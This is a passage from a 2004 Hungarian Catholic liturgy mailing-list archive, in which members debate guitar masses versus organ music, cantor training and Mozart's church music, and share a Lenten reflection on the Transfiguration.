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 ------=_NextPart_000_0011_00003B00.00000FF0-- From szilvay@bparchiv.hu Fri Mar 5 12:48:27 2004 From: szilvay@bparchiv.hu (Szilvay Gyula) Date: Fri, 5 Mar 2004 13:48:27 +0100 Subject: [Liturgia] =?iso-8859-2?B?bmFneWL2anQg/HL8Z3npbiBheiDpbmVrcvVsL2NzZW5kcvVs?= References: <01f201c40237$81aa6060$913a95c2@orgona> Message-ID: <000e01c402b0$27f6c580$3f01a8c0@intranet> Kedves Mindenki! Szabadjon néhány abszolút naív megjegyzést tennem. Jómagam pesti lévén megtehetem, hogy akár hétköznap is válogassak melyik templomba megyek misére. Ebbéli döntésemben mindig mérlegelem, hogy melyik templomban mire számíthatok. Sokszor azért választok egy adott misét, mert tudom, hogy csendes, és még prédikáció sincs. Politikai fejtágításra ugyanis nem vágyom az evangélium ürügyén. Szerdánként szívesen megyek a ferenciek terére, hisz akkor gregorián scola van, de annak ellenére, hogy a templomnak van törzsközönsége, MÉGSEM zeng a tér. A hívek éneke nem tölti be a templomot. Az egész igen koncertszerüen hat. De egyéb napokon is inkább csak az orgona és a kihangosított kántor hallatszik, a nép énekének esélye sincs betölteni a teret. (ez azt hiszem teljesen általános jelenség) Vajon miért? Bevallom, mostanság igen gyakran megyek a Rózsák terére a görögkatolikusokhoz liturgiára. (Tudom, az még a gk-k közt isegy átlagosnál nagyságrendekkel jobban álló plébánia ) Aranyszájú szt. János liturgiája olyan, hogy amíg a pap esetleg csendes imát végez a nép fennhangon mondja/énekli szövegeit. Ezek a szövegek pedig igen mély teológiai tanításúak. Én itt látom a latin rítus legnagyobb hiányosságát. Mert igaz, hogy immár érthető népnyelven folyik, de amíg CSAK a pap mondja a mégoly szép, ősi, letisztult teológiai tartalmú szövegeket, addig igen nehezen jut el azok tanításbeli mélysége a hívek SZIVÉHEZ. Én ezért is szeretem a csendes misét. Akkor nem fedi el ezeket semmi. Legalább HALLANI lehet. És ezért teljesen megértem, mégha nem is helyeslem, ha valaki csöndben /esetleg félhangosan/ a pappal együtt mondja annak imáit. PL: az áldozás utáni összeszedettséget szolgálandó CSEND helyett szólózó kántornál ezerszer jobb ahogy a görög liturgiában a pap a szentséggel ad áldást, a köv. szavak kiséretével: Üdvözítsd Isten a Te népedet, és áld meg a Te örökségedet! és a válasz: Sok esztendőre Uram! Láttuk az igazi világosságot, vettük a mennyei Szentlelket, megtaláltuk az igaz hitet, mert ez üdvözített minket! Teljenek be ajkaim dícséreteddel, hogy énekeljük uram a te dicsőséged. Mert méltattál minket, hogy részesüljünk halhatatlan, éltető, szent égi titkaidban! Erősíts meg minket szentséged által, hogy egész nap elmélkedjünk igazságid felett! Alleluja! Itt ugyan nincs csend, de helyette a nép önmagát tanítja a liturgia szövegében. Ami a gitáros miséket illeti: Engem is bosszant, mikor a mise állandó részei helyett mindenféle olyan gitáros dalokat vesznek amelyek szövege csak igen távoli köszönőviszonyban van a "hivatalos" szöveggel. (Ilyen pl. a már emlegetett "Bárányom bárányom" is.) DE: akkor tessék odahatni, hogy ilyen jellegü énekmutatók ne legyenek ezen könyvek mellékleteiben. Amíg azonban ilyenek vannak, addig lesznek olyanok is akik ezek mentén állítják össze egy mise énekeit. Szeretném viszont javasolni mindazoknak, akiknek csak rossz tapasztalatai vannak a gitáros misékre szocializálódott ifjúságról, jöjjenek el egyszer egy vasárnap esti 1/2 8-as misére a Bp. Margit krt-i ferences templomba. Szerintem megéri. Azt is tudom, hogy ami ott megtapasztalható, az egyedi, és egy több évtizedes élet gyümölcse. De mikor indult, nem volt jobb -sőt, talán rosszabb volt- mint némely mai "külvárosi" gitáros csapat zenei szolgálata. A mise elött rózsafüzér, utána CSENDES(*) szentségimádás. Nem állítom ugyan, hogy mindenki ott van elejétől végéig, de fel van néki kínálva. Megint más: Engem az is nagyon zavar, hogy nincs két egyformán énekelt mise. Azt értem ezen, hogy melyik atya a misének mely RÉSZEIT énekli. sokszor a prefációt nem, az átváltoztatást igen, vagy fordítva, vagy ha mindkettőt énekli is de az "Íme hitünk szent titka"-t már mondja. Vagy az evangéliumnál: a bevezetést, és az "ezek az evangélium igéi"-t énekli, de az evangéliumot énekelni én latin rítusban még csak püspöki nagymisén diakonustól hallottam. Azért írom ezt, mert a görög rítusban ha egy mise énekelt, akkor MINDEN, még az olvasmány, és az evangélium is énekelt. Sokkal nehezebb dallamokkal mint a latin rítusban szokásosak. Ez CSAK szemináriumi KÉPZÉS kérdése, hiszen ha ők képesek erre, a mi papjaink is képesek lennének rá. (*)Én a kitett szentség elötti litániát magamban viccesen csak "műsoros" szentségimádásnak nevezem, de azt sosem értem, hogyan lehet kitett szentség elött loretoi (Szűz Máriát kérlelő) litániát imádkozni. Szerintem ez igen erősen járul hozzá ahoz, hogy sok katolikusban Máriáról egy "anyaisten" kép él és Máriát szinte(?) imádják. Bocsánat, ha valakit megbántottam volna. A.B.F.R.A. Gyula Tel:(+36)20/802-1952 From megego@freemail.hu Sat Mar 6 13:40:22 2004 From: megego@freemail.hu (=?ISO-8859-2?Q?Geg=F5_I=2E_Julianus?=) Date: Sat, 6 Mar 2004 14:40:22 +0100 (CET) Subject: [Liturgia] =?ISO-8859-2?Q?Sz=EDnev=E1ltoz=E1s?= Message-ID: Kedves Testvérek! Nagyböjt II. vasárnapjának üzenetéről gondolkodtam. Kívánom, hogy ezek a napok az üdvösség napjai legyenek mindnyájunk számára. fr. Julianus SZÍNEVÁLTOZÁS Isten dicsőségének kinyilatkoztatása A Sínai szövetségkötés hegyén az Úr a felhő homályában jelent meg; arcát nem láthatta senki, mert különben meghalt volna. Szavakat mondott Mózesnek, melyeknek foglalata a Tíz Szó. A Színeváltozás hegyén szintén felhő szállt alá, beborította Pétert, Jakabot és Jánost, s a felhőből szózat hallatszott: "Ez az én választott Fiam, őt hallgassátok" (Lk 9,35). Az Atya szava Krisztusra mutat, aki az ő jóságának képmása - "Őt hallgassátok!" Hóreb hegyén Mózes a szavakat két kőtáblán kapta meg levonszolni onnan, hogy a néppel megismertesse. A Színeváltozás hegyi kinyilatkoztatás nem élettelen kőtáblára írt parancsokra hívja fel a figyelmet, hanem az élő Isten szeretett Fiának szavaira, aki maga a Szikla (vö. 1Kor 10,1). Az első Pünkösdkor Péter a föltámadott Jézusról mondja: "Ez az a kő, amelyet ti, az építők, elvetettetek, s amely szegletkő lett" (ApCsel 4,11). Péter apostol, tanúja ennek a kinyilatkoztatásnak, később azt írja levelében, hogy az ott elhangzott beszédre úgy érdemes figyelni, "mint sötét helyen világító lámpásra" (2Pét 1,19): Péter, Jakab és János ettől kezdve már mindent másképp láttak. Pál apostolnak is hasonló élménye volt, amikor leesett a lováról. Utána azonnal "halpikkely-szerű valami hullott le a szemeiről, és visszanyerte a szeme világát. Fölkelt és megkeresztelkedett" (ApCsel 9,18). Megvilágosodottá válni tehát a világosság forrásának felismerését jelenti. (A keresztség egyik görög neve "phótismos" - "megvilágosodás"; a megkeresztelteket kezdetben pedig megvilágosultaknak nevezték.) Ezek az emberek - Pál, Péter és a társai - mind látták az Isten dicsőségét (vö. Lk 9,32). Teret engedve neki, ezentúl az Úr az ő erősségük és dicsőségük. A "dicsőség" kifejezés az Ószövetségeben "súlyosság", "fontosság", "erő", "hatalom" jelentését hordozza; Isten dicsősége pedig az egész teremtést betöltő szentségének külső megnyilvánulása, mely hitet, dicsőítést vált ki az emberből (erről énekel a Communio). Nem csupán tulajdonsága tehát, hanem Isten személyes megjelenése, mellyel együtt jár a fény és a ragyogás. Ezt az értelmet az újszövetségi "dicsfény", "fényes dicsőség" jelentése foglalja magában. A farizeusok elveikhez és hitükhöz sötéten ragaszkodván azért kezdik el üldözni Jézust, mert szombaton meggyógyított egy bénát. Nekik mondja Jézus: "Emberektől nem fogadok el dicsőséget. Rólatok viszont tudom, hogy nincs bennetek Isten szeretete. Én Atyám nevében jöttem, és nem fogadtok el engem. Majd ha más jön a maga nevében, azt elfogadjátok. Hogyan is tudnátok hinni ti, akik egymástól kaptok dicsőséget, de azt a dicsőséget, amely egyedül Istentől van, nem keresitek?" (Jn 5,41-44) A saját meggyőződésünkbe vetett hit elvakít. Az Isten szavában való bizalom pedig fényt derít sötétségeinkben, hogy eljuthassunk a hit világosságára. Isten érkezésének jele: ragyogás és fényesség. Jelenlétében leesik a fátyol a szemünkről. "Hiszen, akik nem bizalmatlanok iránta, azoknak kinyilvánítja magát" (Bölcs 1,2) az Eucharisztiában, az elmélkedésben, a szegényben - rejtett jelenlétét az egész világban. A saját igaz-mivoltunkba vetett ábránd homálya nem engedi láttatni az előttünk álló Igazságot. A bűn, a bűnös mivolt, a bűnbánat felismerése megadja a lehetőséget, hogy lekerüljön szemünkről a hályog. Az Igazságot felismerve vallhatjuk meg: "Te vagy Krisztus, az élő Isten szeretett Fia". A szentmise kezdetén az Introitusban az irgalomra való rászorultságunkat énekeljük: "Emlékezz meg, Isten, irgalmasságodról, s könyörületedről, mely öröktől való" (Zsolt 25,6). A magát dicsőségében kinyilatkoztató Isten tekintete és az Ő arcát kereső, az Üdvözítő után vágyakozó tekintet találkozásának, az Eucharisztiának a megünneplése következik. A megdicsőült Krisztus asztalánál kapunk helyet a húsvéti vacsora emlékezetén. Az Igében és az Eucharisztia színeiben jelenik meg: gyógyító, minket is átváltoztató jelenlétével kínálja magát mindazoknak, akik benne bíznak, akik azt a dicsőséget keresik, "amely egyedül Istentől van" (Jn 5,44). Aki az Introitusban a mélységből azt könyörögte, hogy "nyomorúságunkból szabadíts meg minket" (Zsolt 25,22), a Communióban már a színeváltozás hegyi látomásról énekel: az egész teremtett világ a bűnösöket igazzá tevő Isten dicsőségét énekli, "mert az igazaknak világosság támadott" (Communio - Zsolt 97,6.11). Nem a falak tesznek tehát szentté, hanem Isten az, aki szavával megtisztít (vö. Collecta) és tekintetével megvilágosít: leveszi a fátylat a szemünkről, hogy "Isten dicsőségének ismerete Krisztus arcán felragyogjon nekünk" (2Kor 4,6). Collecta: Deus, qui nobis dilectum Filium tuum audire praecepisti, verbo tuo interius nos pascere digneris, ut, spiritali purificato intuitu, gloriae tuae laetemur aspectu. Római Misekönyv fordítása: Istenünk, te megparancsoltad nekünk, hogy hallgassunk szeretett Fiadra. Táplálj minket szent igéddel, hogy megtisztult lélekkel örvendezve szemléljül majd dicsőségedet. A mi Urunk. From deba@dpg.hu Sun Mar 7 10:32:28 2004 From: deba@dpg.hu (=?iso-8859-2?q?Decsi=20B=E1lint=20?=) Date: Sun, 7 Mar 2004 11:32:28 +0100 Subject: [Liturgia] rockkoncert Message-ID: Kedves Mindenki! Mindenkinek megköszönöm válaszát, hozzászólását a gitáros mise témájához, a műfajhoz. Az állandó részek problematikáját megértettem, azon leszek, hogy ennek megfelelően énekeljük mi is az eredeti szövegeket, és megismertessem a szabályokat az ismerős kórusokkal. Mivel ez a probléme összevissza 3-4 éneket érint a misén, azt hiszem, gond nélkül orvosolható. Viszont az, hogy egy-egy hívő kimegy a gitáros mise alatt a templomból, egy sajnálatos tény, emellett elítélendő. Én sem megyek ki, ha nem tetszik a "népének" megszólalása, pedig sok akár vidéki, akár bp-i példát is tudok, a csapnivaló zenére, vagy a liturgiával ellentétes tanítású szövegre. De a misére nem tüntetni megyünk. Sokkal több olyan embert ismerek, aki a gitáros énekek miatt keres fel egy templomot, mint aki emiatt nem. Többek közt ezt tapasztaltuk Rákosfalván is, a gitáros mise folyamatosan az átlagosnál emeltebb létszámmal bírt. De ezt a műfajt aki műveli, legyen tisztában a REND-del, a szabályokkal. Ezért is kérdeztem, és kaptam is válaszokat. Még egyszer köszönöm. Több vélemény is érkezett hozzánk itt a listán, hogy némely mise már-már rockkoncertre hasonlít. Itt szeretném megjegyezni, az alábbit: Egy zenész, vagy művész számára a hangszerén való játék teljes odaadást kíván, akár komoly, akár könnyűzenéről van szó. Ez igaz a kántorokra, a gitárosokra is. Egy kántor, ha "belefeletkezik" az orgonálásba, és művészi előadást produkál, az dícséretes. Ha egy gitáros fiatal teszi ugyanezt a hengszerével az profán zene, és üldözendő? Pedig két zenész, művész játszik a hangszerén. Ugyanaz az eset. Ugyanazt az összetett fiziológiai hatást váltja ki az orgonaszó az emberekből, mint a koncertes rockzene. Én most csak az emberi szervezetre gyakorolt hatásra gondolok (mély hangok, ritmus, hangerő). Lásd a diszkóbalesetek példáját, amikor az ember egy felfokozott állapotba kerül, csupán csak akkusztikai és fényingerek hatására. Más kérdés, hogy az orgona használata helyzeti előnyből indult, mert a középkorban csak az orgona tudott olyan hangerőt produkálni, hogy betöltsön hangjával egy templomot, illetve szinte csak ez Egyháznak volt annyi pénze, hogy orgonát építsen. Véleményem szerint ez vezetett ahhoz, hogy összekapcsolódott az orgona fogalma a templommal, és ma szinte "egyedüli" alternatívaként ezt fogadjuk el a nép kíséretére, a vezetésére. Másképp fogalmazva: ez az egy étel szerepel az étlapon. Lehet, hogy a bécsi szelet sültkrumplival minden esetben kipróbált, és jól bevált étel, de ha meguntuk, akkor eszünk szívesen akár kaviárt, lazacot, puliszkát, vagy ha erre nem telik, akkor simán virslit mustárral. Lényeg a változatosság. Nem akarok párhuzamot vonni az ételek és a misén megszólaló zenei lehetőségek között, ki ki tegye meg magában. Mozart-ot a saját korában könnyűzenének tartották, és nem engedték be a zenéjét a misére, túl hangos, túl profán. Amint meghalt, változott a helyzet, ma az egyik legnagyobb klasszikus zeneszerző. Nem állítom, hogy mi is Mozartok vagyunk, de vitatom az orgona egyedülállóságát, monopolhelyzetét a misén. Egy gitáros énekkar, 2-3 gitárossal, és 8-10 éneklő fiatallal már sokkal jobban vezeti a népet, mint a kihangosított kántor, no meg a Mari néni. Ez is tapasztalat. Nem akarom a kánorképzést bírálni, nem az én dolgom, ezt megtette néhány levéllel ezelőtt már Bednarik Anasztázia is. Viszont azt a véleményét vitatom, hogy semmi nem különbözteti meg a gitáros éneket a rockkoncerttől. Elég csak a szövegére gondolni, vagy arra, hogy tudok jónéhány embert, aki ennek köszönheti hitét, a megtérését, viszont olyat egyet se ismerek, akit ez a zene más egyházba, vagy az ateistaságba hajszolt volna. Ha valaki tud ilyenről, kérem szóljon, a teljesség kedvéért! Ezenkívül minden egyes dal, a szerzőjének egy saját hitvallása, önkifejezése. Ezek a dalok, még ha a hangszerelésük Önök szerint a profán kategóriába tartoznak, nem a szexről, a szerelemről szólnak, hanem a hitünkről. Tényleg nem akarok példákat mondani, de a dalok nagy része sokkal mélyebb alapigazságokat tartalmaz, mint a népénekek. Sokkal nagyobb tanítóerővel bírnak a mai ember számára, hitünk alapigazságait lefordítják a mai ember nyelvezetére. Ez nem mondhetó el a már harminc éve is elavult népénekekről. Természetesen a gitáros énekek között is van olyan, ami nem való misére, no meg olyan is, ami jobb, ha meg sem született volna. Minden esetre én még egyszer megköszönöm a reakciókat, és azt is, hogy befogadtak itt a levelezőlistába. Nagyon örültem, hogy minden egyes hozzászóló pozitív hangvétellel állt a témához, a stílus nem kioktatásról, hanem segítőkészségről tett tanubizonyságot. Köszönettel: Decsi Bálint SzilKerÉK (Szilasligeti-Kerepesi ÉnekKar) From gabssy@dpg.hu Sat Mar 6 20:59:31 2004 From: gabssy@dpg.hu (=?iso-8859-2?q?Nagy=20G=E1bor=20Gabssy=20?=) Date: Sat, 6 Mar 2004 21:59:31 +0100 Subject: [Liturgia] Re: Ellentmondas Message-ID: Igazság szerint csak azt szeretném - a vita kapcsán - kérdezni: A érvényben lévő hivatalos egyházi rendelkezések között (tehát: 1. érvényben lévő 2. hivatalos 3. egyházi rendelkezésekről kérdezősködöm) van-e olyan, mely explicit előírja, hogy a LITURGIÁBAN mely hangszer használható önálóan és/vagy az énekek kísérésére? Tisztelettel: Nagy Gábor Gabssy Szeged ui. Elnézést az esetleges ismétlésekért, igyekeztem "politikai korrektségre" törekedni a megfogalmazásban, hogy valóban a kérdésre kapja választ. A kérdés ugyanis ténylegesen a HANGSZERre vonatkozik, s nem arra, hogy milyen kritériumai vannak a liturgikus ZENÉNEK. From Bednarik_Anasztazia@level.datanet.hu Sun Mar 7 14:33:32 2004 From: Bednarik_Anasztazia@level.datanet.hu (Bednarik_Anasztazia@level.datanet.hu) Date: Sun, 7 Mar 2004 15:33:32 +0100 Subject: [Liturgia] Rockkoncert Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0000_01C40459.90A7C110 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable Kedves Decsi B=E1lint =E9s Mindenki! =20 Szeretn=E9k tiszt=E1zni n=E9h=E1ny f=E9lre=E9rt=E9st, amely m=FAltkori = hozz=E1sz=F3l=E1sommal kapcsolatos: 1. nem a k=E1ntork=E9pz=E9st b=EDr=E1ltam, hanem nagyon r=F6viden = felv=E1zoltam n=E9h=E1ny =E9vtizedek =F3ta h=FAz=F3d=F3 probl=E9m=E1it. Csak egy = gondolatot emeln=E9k ki, mely lehet, hogy seg=EDt meg=E9rteni az orgona-git=E1r k=E9rd=E9s=E9t: El=F5re eln=E9z=E9st k=E9rek, de k=E9nytelen vagyok lesz=F6gezni, hogy = orgon=E1lni (tisztess=E9gesen) sokkal nehezebb megtanulni, mint az =E1tlagos = git=E1ros mis=E9k k=EDs=E9ret=E9hez sz=FCks=E9ges valah=E1ny (100 db alatt) = akkordot. (A m=FBv=E9szi git=E1roz=E1st =E9s az orgon=E1l=E1st nem ide sorolom!) Az orgon=E1l=E1s tanul=E1s=E1hoz el=F5sz=F6r is minimum 4-5, de ink=E1bb = t=F6bb =E9v zongor=E1z=E1s sz=FCks=E9geltetik.(Aki ezt kihagyta, azon = hallatszik.!!!) Tapasztalat, hogy nem mindenkinek siker=FCl = "k=E9zzel-l=E1bbal"megtanulnia j=E1tszani. Ez =E9rz=E9k k=E9rd=E9se is.Ez csak az alap. Le kell tudni = j=E1tszania az =E9nek k=EDs=E9reteit.(m=E9g a sokat szidott Szent vagy Uram! sem = k=F6nny=FB!) Kell tudnia el=F5j=E1t=E9kot j=E1tszania, zsolt=E1roznia, azokat = k=EDs=E9rni. Ehhez pedig sz=E1mtalan egy=E9b ismeretre van sz=FCks=E9g, melynek = =F6sszetev=F5i kottaolvas=E1s, lapr=F3lolvas=E1s, =F6sszhangzattan, liturgikus-hittani ismeretek, k=F3rus=E9nekl=E9s =E9s vez=E9nyl=E9s, gregori=E1n..... = Aj=E1nlom a K=E1ntork=E9pz=F5 honlapj=E1t, ahol a felv=E9teli stb k=F6vetelm=E9nyek meglelhet=F5k.Hangs=FAlyozom, hogy ez nem fels=F5fok=FA k=E9pz=E9s, nem = m=FBv=E9szk=E9pz=F5, =E9s mindenki sz=E1m=E1ra nyitott.Meg kell pr=F3b=E1lni! (Ez itt most = nem a rekl=E1m helye.) www.katolikus.hu/kantorkepzo Tudom, hogy nem optim=E1lis a k=E1ntorok k=E9pzetts=E9ge, de azt mondani, hogy minden=FCtt alkalmatlan mindenki, = az tal=E1n t=FAlz=E1s. Minthogy az is, hogy 2 git=E1r +5-10 =E9nekes = alkalmasabb az =E9nekvezet=E9sre.=20 El=EDt=E9lni pedig senkit nem szerencs=E9s.Sem az=E9rt mert kimegy, sem = az=E9rt mert bej=F6n valami=E9rt a templomba. 2. A m=FBv=E9szi katarzis =E9s az ekszt=E1zis k=F6z=F6tt = v=E9lem=E9ny szerint van n=E9mi k=FCl=F6nbs=E9g. Hozz=E1sz=F3l=E1somban egy=E9bk=E9nt nem a = sz=F6vegekr=F5l =EDrtam, hanem a prof=E1n =E9s a szent zene k=FCl=F6nbs=E9g=E9r=F5l. =20 Rem=E9lem senkit nem b=E1ntottam meg a korrekci=F3val! =C1ldott Nagyb=F6jt=F6t! =20 Bednarik Anaszt=E1zia =20 ------=_NextPart_000_0000_01C40459.90A7C110 Content-Type: text/html; charset="iso-8859-2" Content-Transfer-Encoding: quoted-printable

Kedves Decsi B=E1lint =E9s = Mindenki!

 

Szeretn=E9k tiszt=E1zni n=E9h=E1ny f=E9lre=E9rt=E9st, = amely m=FAltkori hozz=E1sz=F3l=E1sommal kapcsolatos:

1.       nem a k=E1ntork=E9pz=E9st b=EDr=E1ltam, hanem = nagyon r=F6viden felv=E1zoltam n=E9h=E1ny =E9vtizedek =F3ta h=FAz=F3d=F3 probl=E9m=E1it. = Csak egy gondolatot emeln=E9k ki, mely lehet, hogy seg=EDt meg=E9rteni az orgona-git=E1r = k=E9rd=E9s=E9t:

El=F5re eln=E9z=E9st k=E9rek, de k=E9nytelen vagyok = lesz=F6gezni, hogy orgon=E1lni (tisztess=E9gesen) sokkal nehezebb megtanulni, mint az = =E1tlagos git=E1ros mis=E9k k=EDs=E9ret=E9hez sz=FCks=E9ges valah=E1ny (100 db alatt) = akkordot. (A m=FBv=E9szi git=E1roz=E1st =E9s az orgon=E1l=E1st nem ide = sorolom!)

Az orgon=E1l=E1s tanul=E1s=E1hoz el=F5sz=F6r is = minimum 4-5, de ink=E1bb t=F6bb =E9v zongor=E1z=E1s sz=FCks=E9geltetik.(Aki ezt kihagyta, azon = hallatszik.!!!) Tapasztalat, hogy nem mindenkinek siker=FCl „k=E9zzel-l=E1bbal”megtanulnia j=E1tszani. Ez =E9rz=E9k = k=E9rd=E9se is.Ez csak az alap. Le kell tudni j=E1tszania az =E9nek k=EDs=E9reteit.(m=E9g a sokat = szidott Szent vagy Uram!=A0 sem k=F6nny=FB!) Kell tudnia el=F5j=E1t=E9kot j=E1tszania, = zsolt=E1roznia, azokat k=EDs=E9rni. Ehhez pedig sz=E1mtalan egy=E9b ismeretre van sz=FCks=E9g, = melynek =F6sszetev=F5i kottaolvas=E1s, lapr=F3lolvas=E1s, =F6sszhangzattan, liturgikus-hittani = ismeretek, k=F3rus=E9nekl=E9s =E9s vez=E9nyl=E9s, gregori=E1n..... Aj=E1nlom a = K=E1ntork=E9pz=F5 honlapj=E1t, ahol a felv=E9teli stb k=F6vetelm=E9nyek meglelhet=F5k.Hangs=FAlyozom, hogy = ez nem fels=F5fok=FA k=E9pz=E9s, nem m=FBv=E9szk=E9pz=F5, =E9s mindenki sz=E1m=E1ra = nyitott.Meg kell pr=F3b=E1lni! (Ez itt most nem a rekl=E1m helye.)

www.katolikus.hu/kantorkepzo= =A0=A0 Tudom, hogy nem optim=E1lis a k=E1ntorok k=E9pzetts=E9ge, de azt = mondani, hogy minden=FCtt alkalmatlan mindenki, az tal=E1n t=FAlz=E1s. Minthogy az is, = hogy 2 git=E1r +5-10 =E9nekes alkalmasabb az =E9nekvezet=E9sre.

El=EDt=E9lni pedig senkit nem szerencs=E9s.Sem = az=E9rt mert kimegy, sem az=E9rt mert bej=F6n valami=E9rt a templomba.

2.       A m=FBv=E9szi katarzis =E9s az ekszt=E1zis = k=F6z=F6tt v=E9lem=E9ny szerint van n=E9mi k=FCl=F6nbs=E9g. Hozz=E1sz=F3l=E1somban egy=E9bk=E9nt = nem a sz=F6vegekr=F5l =EDrtam, hanem a prof=E1n =E9s a szent zene = k=FCl=F6nbs=E9g=E9r=F5l.

 

Rem=E9lem senkit nem b=E1ntottam meg a = korrekci=F3val!

=C1ldott Nagyb=F6jt=F6t!

 

Bednarik = Anaszt=E1zia

 

------=_NextPart_000_0000_01C40459.90A7C110-- From zoltantamas@uze.net Sun Mar 7 20:47:41 2004 From: zoltantamas@uze.net (=?iso-8859-2?q?Zolt=E1n=20Tam=E1s=20?=) Date: Sun, 7 Mar 2004 21:47:41 +0100 Subject: [Liturgia] =?iso-8859-2?q?ugyanarr=F3l=20m=E1sk=E9ppen?= Message-ID: Salvete, a történet, melyről írok, elgondolkodtató. Se pro se contra nem teszem le a voksomat. Magyarországi kisváros, egyetlen plébánia, átlagos ifjúsági énekkar. Megérkezik a gregoriánt szerető és értő káplán, akinek fülét zavarja az ifjúság éneke. Javítja őket gregoriánul. Ellenérzések. Pedagógia hiánya stb. Ma a gyerekek a hitgyüliben gitároznak, ott szükség volt rájuk. A káplán azóta boldog apa és nem káplán. De legalább nem az énekkarból. valete, zt From szilvay@bparchiv.hu Mon Mar 8 08:54:18 2004 From: szilvay@bparchiv.hu (Szilvay Gyula) Date: Mon, 8 Mar 2004 09:54:18 +0100 Subject: [Liturgia] =?iso-8859-2?B?UmU6IFtMaXR1cmdpYV0gU3rtbmV24Wx0b3rhcw==?= References: Message-ID: <004001c404ea$f1f5e960$3f01a8c0@intranet> > a felhőből szózat hallatszott: "Ez az én választott Fiam, őt hallgassátok" > (Lk 9,35). Az Atya szava Krisztusra mutat, aki az ő jóságának képmása - > "Őt hallgassátok!" Kedves Julianus ! Leveled így érkezett el hozzám. Gyula Tel:(+36)20/802-1952 From robert.kovacs@chello.at Mon Mar 8 12:21:18 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Mon, 8 Mar 2004 13:21:18 +0100 Subject: [Liturgia] Mozart, orgona Message-ID: <001a01c40507$dc6a9920$cc63bad4@chello.at> This is a multi-part message in MIME format. ------=_NextPart_000_0017_01C40510.3DEBDDA0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: quoted-printable Kedves Decsi B=E1lint, csak korrig=E1lni szeretn=E9k n=E9h=E1ny nem eg=E9szen val=F3s = megfogalmaz=E1st: Mozart zen=E9je, amit templomi el=F6ad=E1sra kompon=E1lt, nem = sz=E1m=EDtott k=F6nny=FCzen=E9nek, =E9s nem volt a templomb=F3l = kitiltva. Ha valami m=FCv=E9t nem j=E1tszott=E1k, az politikai okokb=F3l = t=F6rt=E9nt, illetve szem=E9lyes ellent=E9tek miatt. A m=E1sik pedig, hogy a k=F6z=E9pkorban az orgon=E1nak nem 